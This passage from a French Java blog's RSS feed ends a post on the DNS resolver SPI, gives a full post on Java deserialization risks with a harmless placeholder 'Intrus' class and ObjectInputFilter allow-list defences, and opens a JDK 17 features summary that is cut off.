&lt;p&gt;Fichier ayant le nom de l&amp;#8217;interface en tant que nom du fichier. Dans notre cas, c&amp;#8217;est : &lt;code&gt;java.net.spi.InetAddressResolverProvider&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fichier contenant le nom complet de la classe du fournisseur&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ayant suivi ces 3 étapes, le fournisseur est opérationnelle.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si vous écrivez le programme suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public static void main (String [] args) throws UnknownHostException {
    InetAddress adr = InetAddress.getByName(&quot;www.edf.fr&quot;);
    System.out.println(&quot; - &quot; + adr.getHostName() + &quot; -&amp;gt; &quot; + adr.getHostAddress());

    adr = InetAddress.getByName(&quot;www.wikipedia.fr&quot;);
    System.out.println(&quot; - &quot; + adr.getHostName() + &quot; -&amp;gt; &quot; + adr.getHostAddress());
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici la sortie correspondant à lancement du programme :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;[INFO ] : Le fournisseur &apos;MonResolveurDNSProvider&apos; est chargé.
[INFO ] : Appel de la méthode &apos;MonResolveurDNS::lookupByName&apos;.
 - www.edf.fr -&amp;gt; 23.72.9.40
[INFO ] : Appel de la méthode &apos;MonResolveurDNS::lookupByName&apos;.
 - www.wikipedia.fr -&amp;gt; 51.254.200.228&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/418&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 418 : Internet-Address Resolution SPI&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/16/docs/api/java.base/java/util/ServiceLoader.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Javadoc ServiceLoader&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lilian-benoit/billets-codes-sources/tree/master/2021/11/2021-11-Internet-Address-Resolution-SPI&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Source disponible sous github&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Sécurité : la désérialisation par la pratique</title>
      <link>https://www.lilian-benoit.fr/2021/10/Securite-deserialisation-par-la-pratique.html</link>
      <pubDate>dim., 24 oct. 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/10/Securite-deserialisation-par-la-pratique.html</guid>
      	<description>
	&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_cas_détude&quot;&gt;Le cas d&amp;#8217;étude&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#sérialisation&quot;&gt;Sérialisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#désérialisation&quot;&gt;Désérialisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#activation_autorisation&quot;&gt;Activation / Autorisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_problème&quot;&gt;Le problème&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#solution&quot;&gt;Solution&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation_des_filtres_par_programmation&quot;&gt;Utilisation des filtres par programmation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation_des_filtres_par_ligne_de_commande&quot;&gt;Utilisation des filtres par ligne de commande&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation_de_son_propre_filtre&quot;&gt;Utilisation de son propre filtre&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_code_source&quot;&gt;Le code source&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans les billets précédents (&lt;a href=&quot;/2021/08/JEP-290-Filter-Incoming-Serialization-Data.html&quot;&gt;JEP 290, Filter Incoming Serialization Data&lt;/a&gt; et &lt;a href=&quot;/2021/08/JEP-415-Context-Specific-Deserialization-Filters.html&quot;&gt;JEP 415, Context Deserialization Filters&lt;/a&gt;), je vous parlais de sécurité, notamment sur le sujet de la &lt;strong&gt;désérialisation&lt;/strong&gt;. Ce point n&amp;#8217;est pas anodin car la désérialisation non sécurisée fait partie du &lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization&quot;&gt;Top 10 OWASP&lt;/a&gt; des failles de sécurité des applications web.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif de ce billet est de passer de la théorie à la pratique.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; &lt;strong&gt;Besoin de rappel ?&lt;/strong&gt;, je vous invite à lire le chapitre &lt;a href=&quot;/2021/08/JEP-290-Filter-Incoming-Serialization-Data.html#rappel_sur_la_s%C3%A9rialisation&quot;&gt;Rappel sur la sérialisation&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour faire court, l&amp;#8217;objectif est pouvoir transformer une instance d&amp;#8217;une classe en flux d&amp;#8217;octets. Ce dernier sera stocké dans un fichier, passera par le réseau ou autres. Puis, le flux d&amp;#8217;octects sera retransformer en instance.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;le_cas_détude&quot;&gt;Le cas d&amp;#8217;étude&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons deux classes sérialisables &lt;code&gt;Point&lt;/code&gt; et &lt;code&gt;Cercle&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Point implements Serializable {
	protected int x, y;

	public Point() {
	}
...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cercle implements Serializable {
	protected Point centre;
	protected int rayon;
...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;sérialisation&quot;&gt;Sérialisation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La sérialisation est très facile, il suffit de manipuler la classe &lt;code&gt;ObjectOutputStream&lt;/code&gt; et d&amp;#8217;y écrire nos instances de &lt;code&gt;Point&lt;/code&gt; et &lt;code&gt;Cercle&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;    Point c = new Point(4, 5);
    Cercle cercle = new Cercle(c, 20);

    try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;target/serial.data&quot;));) {
        oos.writeObject(cercle);
    } catch (IOException e) {
        e.printStackTrace();
    }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;désérialisation&quot;&gt;Désérialisation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La désérialisation est l&amp;#8217;opération inverse. Pour cela, nous manipulons &lt;code&gt;ObjectInputStream&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;    try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(&quot;target/serial.data&quot;));) {

        Object f = ois.readObject();
        System.out.println(f.toString());

    } catch (IOException | ClassNotFoundException e) {
        //...
    }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;activation_autorisation&quot;&gt;Activation / Autorisation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La classe doit implémenter tout simplement l&amp;#8217;interface &lt;code&gt;java.lang.Serializable&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class MaClasse implements Serializable {

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Et c&amp;#8217;est tout !&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;le_problème&quot;&gt;Le problème&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est que nous pouvons désérialiser une classe que nous ne connaissons pas, donc la charger en mémoire. Ce qui est potentiellement dangereux si nous sommes amené à exécuter du code malveillant.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FICHIER_SERIALISATION));) {
    oos.writeObject(cercle);
    oos.writeObject(new Intrus(&quot;INTRUSION&quot;));
} catch (IOException e) {
    e.printStackTrace();
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Dans ce billet, la classe &lt;code&gt;Intrus&lt;/code&gt; est connue car elle est présente dans le classpath local. Mais plusieurs API Java permettent de récupérer le code et de le charger via la désérialisation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, il suffit que la classe &lt;code&gt;Intrus&lt;/code&gt; réalise l&amp;#8217;interface &lt;code&gt;Serializable&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package fr.lbenoit.billets.codes_sources.securite.intrus;

import java.io.Serializable;

public class Intrus implements Serializable {
    ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La classe n&amp;#8217;a rien à voir avec la classe &lt;code&gt;Cercle&lt;/code&gt;. Et pourtant, nous allons pouvoir la désérialiser.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Object f = ois.readObject();
System.out.println(f.toString());
assertTrue(f.equals(cercle), &quot;La première forme devrait être le cercle&quot;);

f = ois.readObject();
System.out.println(f.toString()); // Boom, la classe `Intrus` est chargée.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;solution&quot;&gt;Solution&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;utilisation_des_filtres_par_programmation&quot;&gt;Utilisation des filtres par programmation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme recommandé par OWASP, la meilleure solution est définit une liste blanche.
Pour cela, depuis le JDK 9, il nous suffit simplement de passer par l&amp;#8217;interface &lt;code&gt;ObjectInputFilter&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;ObjectInputFilter filtre = ObjectInputFilter.Config
        .createFilter(&quot;fr.lbenoit.billets.codes_sources.securite.deserialisation.filtre.modele*;!*&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Notez l&amp;#8217;usage de la dernière valeur &lt;code&gt;!*&lt;/code&gt; qui permet de dire que nous souhaitons exclure toutes les valeurs non citées.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors du test unitaire associé, j&amp;#8217;ai précisé que je souhaitais récupérer une exception sinon le cas échoue. Utilisation de &lt;code&gt;fail()&lt;/code&gt; qui provoque l&amp;#8217;échec du test si la désérialisation fonctionne.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;...
try {
    f = ois.readObject();
    fail(&quot;Une exception aurait dû se produire.&quot;);
} catch (InvalidClassException ice) {
    System.out.println(ice.getMessage());
    assertTrue(ice.getMessage().contains(&quot;REJECTED&quot;));
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;J&amp;#8217;obtiens bien le résultat prévu :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Filter status: REJECTED&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;utilisation_des_filtres_par_ligne_de_commande&quot;&gt;Utilisation des filtres par ligne de commande&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons obtenir le même résultat en définissant la propriété suivante &lt;code&gt;jdk.serialFilter&lt;/code&gt;.
Dans le code, aucune référence à ce filtre.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java -jar ...jar -Djdk.serialFilter=fr.lbenoit.billets.codes_sources.securite.deserialisation.filtre.modele*;!*&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors de l&amp;#8217;exécution, nous obtenons :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;oct. 10, 2021 12:17:13 AM java.io.ObjectInputFilter$Config lambda$static$0
INFO: Creating serialization filter from fr.lbenoit.billets.codes_sources.securite.deserialisation.filtre.modele*;!*
fr.lbenoit.billets.codes_sources.securite.deserialisation.filtre.modele.Cercle@87d3
java.io.InvalidClassException: filter status: REJECTED
	at java.base/java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1354)
	at java.base/java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2005)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Vous avez le lanceur Eclipse au niveau du projet : /2021-10-Filtre-Securite/launcher/Programme (jdk.serial).launch&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;utilisation_de_son_propre_filtre&quot;&gt;Utilisation de son propre filtre&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons avoir des conditions de rejet plus spécifique que ce qui est offert de base dans le JDK.
Cela n&amp;#8217;est pas un problème, nous pouvons écrire notre propre classe qui implémente l&amp;#8217;interface &lt;code&gt;ObjectInputFilter&lt;/code&gt; et mettre en place nos propres règles :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class MonFiltre implements ObjectInputFilter {

	@Override
	public Status checkInput(FilterInfo arg0) {
		if (arg0.serialClass() == null) {
			return Status.ALLOWED;
		}
		System.out.println(&quot;class : &quot; + arg0.serialClass());
		if (arg0.serialClass().getName().startsWith(&quot;fr.lbenoit.billets.codes_sources.securite.deserialisation.filtre.modele&quot;)) {
			return Status.ALLOWED;
		} else {
			return Status.REJECTED;
		}
	}

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Pour rappel, la méthode &lt;code&gt;checkInput&lt;/code&gt; prend une instance de &lt;code&gt;FilterInfo&lt;/code&gt; en paramètre. Cela nous donne plein d&amp;#8217;information sur le contexte courant.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au delà du filtrage, il est possible de réaliser d&amp;#8217;autres opérations que le filtre avec acceptation et refus. Il est possible tout simplement de journaliser de ce type d&amp;#8217;usage et les classes concernées :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class LoggerFiltre implements ObjectInputFilter {

	@Override
	public Status checkInput(FilterInfo arg0) {
		if (arg0.serialClass() == null) {
			return Status.ALLOWED;
		}
		System.err.println(arg0.serialClass().getName());
		return Status.ALLOWED;
	}

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Je vous l&amp;#8217;accorde l&amp;#8217;utilisation d&amp;#8217;un LOGGER serait plus approprié.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;le_code_source&quot;&gt;Le code source&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le code source est disponible sous Github à l&amp;#8217;adresse suivante : &lt;a href=&quot;https://github.com/lilian-benoit/billets-codes-sources/tree/master/2021/10/2021-10-Filtre-Securite&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/lilian-benoit/billets-codes-sources/tree/master/2021/10/2021-10-Filtre-Securite&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/290&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 290 : Filter Incoming Serialization Data&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/415&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 415 : FiContext Deserialization Filters&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/Serializable.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Javadoc &lt;code&gt;java.lang.Serializable&lt;/code&gt; du JDK 11&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JDK 17 Nouveautés</title>
      <link>https://www.lilian-benoit.fr/2021/09/JDK17-Nouveautes.html</link>
      <pubDate>dim., 19 sept. 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/09/JDK17-Nouveautes.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouvelles_fonctionnalités&quot;&gt;Nouvelles fonctionnalités&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#306_restore_always_strict_floating_point_semantics&quot;&gt;306 - Restore Always-Strict Floating-Point Semantics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#356_enhanced_pseudo_random_number_generators&quot;&gt;356 - Enhanced Pseudo-Random Number Generators&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#382_new_macos_rendering_pipeline&quot;&gt;382 - New macOS Rendering Pipeline&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#403_strongly_encapsulate_jdk_internals&quot;&gt;403 - Strongly Encapsulate JDK Internals&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#409_sealed_classes&quot;&gt;409 - Sealed Classes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#415_implement_context_specific_deserialization_filters&quot;&gt;415 - Implement Context-Specific Deserialization Filters&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouvelles_fonctionnalités_portage&quot;&gt;Nouvelles fonctionnalités (Portage)&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#391_macosaarch64_port&quot;&gt;391 - macOS/AArch64 Port&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalités_en_mode_aperçu&quot;&gt;Fonctionnalités en mode Aperçu&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#406_pattern_matching_for_switch_preview&quot;&gt;406 - Pattern Matching for switch (Preview)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalités_en_mode_incubation&quot;&gt;Fonctionnalités en mode Incubation&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#412_foreign_function_memory_api_incubator&quot;&gt;412 - Foreign Function &amp;amp; Memory API (Incubator)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#414_vector_api_second_incubator&quot;&gt;414 - Vector API (Second Incubator)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalités_dépréciées&quot;&gt;Fonctionnalités dépréciées&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#398_deprecate_the_applet_api_for_removal&quot;&gt;398 - Deprecate the Applet API for Removal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#411_deprecate_the_security_manager_for_removal&quot;&gt;411 - Deprecate the Security Manager for Removal&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalités_supprimées&quot;&gt;Fonctionnalités supprimées&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#407_remove_rmi_activation&quot;&gt;407 - Remove RMI Activation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#410_remove_the_experimental_aot_and_jit_compiler&quot;&gt;410 - Remove the Experimental AOT and JIT Compiler&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La version 17 du JDK est disponible depuis mardi dernier. Les autres distributions (Adoptium, Liberica, Azul..) vont suivre selon leur chaine de construction. A travers différents billets, nous avons déjà eu l&amp;#8217;occasion de voir certaines fonctionnalités. C&amp;#8217;est l&amp;#8217;occasion de faire une synthèse sur l&amp;#8217;ensemble des nouveautés.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La version 17 devient la nouvelle version LTS (Long Term Support).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
